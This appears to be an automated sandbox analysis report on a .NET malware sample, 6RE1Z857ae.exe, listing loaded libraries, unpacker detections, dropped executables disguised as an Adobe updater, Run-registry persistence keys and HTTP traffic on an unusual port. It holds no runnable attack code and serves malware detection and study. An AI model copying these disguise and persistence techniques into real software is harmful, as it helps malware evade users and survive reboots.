Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\Desktop\6RE1Z857ae.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\6RE1Z857ae.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 6RE1Z857ae.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 6RE1Z857ae.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004011000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2215324588.0000000006BA0000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000003112000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.00000000040B3000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2373598901.0000000002553000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2414867650.0000000003541000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.000000000418D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2441230781.0000000003324000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2519401391.0000000003A31000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2464667993.0000000002EB8000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000003FD1000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2540044072.0000000003136000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000003077000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2627328007.0000000003F2B000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2775307801.000000000290A000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2805070631.00000000038E2000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2857282148.00000000025DF000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2898582474.0000000003622000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: 6RE1Z857ae.exe, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004011000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2215324588.0000000006BA0000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000003112000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.00000000040B3000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2373598901.0000000002553000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2414867650.0000000003541000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.000000000418D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2441230781.0000000003324000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2519401391.0000000003A31000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2464667993.0000000002EB8000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000003FD1000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2540044072.0000000003136000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000003077000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2627328007.0000000003F2B000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2775307801.000000000290A000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2805070631.00000000038E2000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2857282148.00000000025DF000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2898582474.0000000003622000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 00000010.00000002.2441230781.0000000003324000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000003077000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 6RE1Z857ae.exe, 00000000.00000002.2215032852.0000000006B10000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 6RE1Z857ae.exe, 00000000.00000002.2215032852.0000000006B10000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb source: InstallUtil.exe, 00000010.00000002.2441230781.0000000003324000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000003077000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $jq'AwdWWK5AloC28paBhXS.PDbsRn56IGm56L3AWMn source: Plain_Checker.exe, 0000001B.00000002.2540044072.0000000002FD0000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2775307801.00000000027A0000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2857282148.00000000024E0000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 6RE1Z857ae.exe, Qqlgbqkozrj.cs	.Net Code: Vfxrtacsu System.Reflection.Assembly.Load(byte[])
Source: Adobe_Install_Updater.exe.0.dr, Qqlgbqkozrj.cs	.Net Code: Vfxrtacsu System.Reflection.Assembly.Load(byte[])
Source: 0.2.6RE1Z857ae.exe.6b10000.14.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.6RE1Z857ae.exe.6b10000.14.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.6RE1Z857ae.exe.6b10000.14.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.6RE1Z857ae.exe.6b10000.14.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.6RE1Z857ae.exe.6b10000.14.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.6RE1Z857ae.exe.43935e8.9.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.6RE1Z857ae.exe.43935e8.9.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.6RE1Z857ae.exe.43935e8.9.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.6RE1Z857ae.exe.43935e8.9.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.6RE1Z857ae.exe.43935e8.9.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.6RE1Z857ae.exe.315edf8.0.raw.unpack, Qqlgbqkozrj.cs	.Net Code: Vfxrtacsu System.Reflection.Assembly.Load(byte[])
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.6RE1Z857ae.exe.6ba0000.15.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.6RE1Z857ae.exe.40b3588.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.6RE1Z857ae.exe.40b3588.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.6RE1Z857ae.exe.40b3588.11.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 16.2.InstallUtil.exe.6930000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.6RE1Z857ae.exe.6aa0000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.Plain_Checker.exe.6d40000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.6RE1Z857ae.exe.41b8e30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2373598901.0000000002450000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2512990804.0000000006930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2540044072.0000000002FD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2214792226.0000000006AA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2558260556.0000000002DEC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2197191438.0000000003010000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2464667993.0000000002940000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2623669408.0000000006D40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000036.00000002.2775307801.00000000027A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2441230781.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000002.2857282148.00000000024E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6RE1Z857ae.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Adobe_Install_Updater.exe PID: 1576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 1632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Adobe_Install_Updater.exe PID: 2848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Plain_Checker.exe PID: 3224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 4832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yftssfzf.exe PID: 7856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yftssfzf.exe PID: 8060, type: MEMORYSTR

Source: build.exe.0.dr

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_02E106A8 push eax; ret	0_2_02E106B2
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_02E10688 push eax; ret	0_2_02E10692
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_02E10698 push eax; ret	0_2_02E106A2
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_02E1066A push eax; ret	0_2_02E10682
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_02E10621 push eax; ret	0_2_02E10622
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_05F3AE81 push F005FA11h; ret	0_2_05F3AE8D
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_05F36970 push es; ret	0_2_05F36980
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_06A2202A pushad ; ret	0_2_06A2202D
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_06B60660 push es; ret	0_2_06B60670
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_06B6C750 push es; iretd	0_2_06B6C75C
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_06E98222 push 00000062h; retf	0_2_06E98224
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 0_2_06E9914B push ebx; retf	0_2_06E9914D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00FC30F9 push ss; iretd	7_2_00FC30FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00FC418B push ds; retf	7_2_00FC4191
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00FC58E8 push eax; ret	7_2_00FC5902
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00FC5978 push eax; ret	7_2_00FC5982
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00FC5968 push eax; ret	7_2_00FC5972
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00FC5958 push eax; ret	7_2_00FC5962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00FC5918 push eax; ret	7_2_00FC5902
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00FC5918 push eax; ret	7_2_00FC5912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00FC5918 push eax; ret	7_2_00FC5952
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 12_2_00930698 push eax; ret	12_2_009306A2
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 12_2_00930688 push eax; ret	12_2_00930692
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 12_2_009306A8 push eax; ret	12_2_009306B2
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 12_2_00930618 push eax; ret	12_2_00930692
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 12_2_00930618 push eax; ret	12_2_009306A2
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 12_2_0093066A push eax; ret	12_2_00930682
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 12_2_0093066A push eax; ret	12_2_00930692
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 12_2_0527C309 push 1C052E1Fh; iretd	12_2_0527C315
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 12_2_05E932A4 push eax; ret	12_2_05E932B1
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 12_2_05EF202A pushad ; ret	12_2_05EF202D

Source: 0.2.6RE1Z857ae.exe.6870000.12.raw.unpack, hbW6SyjmaoI9oASJcgY.cs

High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'BPqjg3Ju1X', 'NtProtectVirtualMemory', 'SgVEkvVIGGJ1j61g3Wl', 'nLR1SOVrUJN7ZVH68i1', 'gUBSMjVgP9bcSimeQeV', 'FRGtwDVwap1wRAdZLVt'

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	File created: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File created: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	File created: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	File created: C:\Users\user\AppData\Local\Temp\build.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe_Install_Updater			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Yftssfzf

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe_Install_Updater	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe_Install_Updater	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Yftssfzf
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Yftssfzf

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 42128
Source: unknown	Network traffic detected: HTTP traffic on port 42128 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 42128 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 42128
Source: unknown	Network traffic detected: HTTP traffic on port 42128 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 42128 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 42128
Source: unknown	Network traffic detected: HTTP traffic on port 42128 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 42128
Source: unknown	Network traffic detected: HTTP traffic on port 42128 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 42128 -> 49735
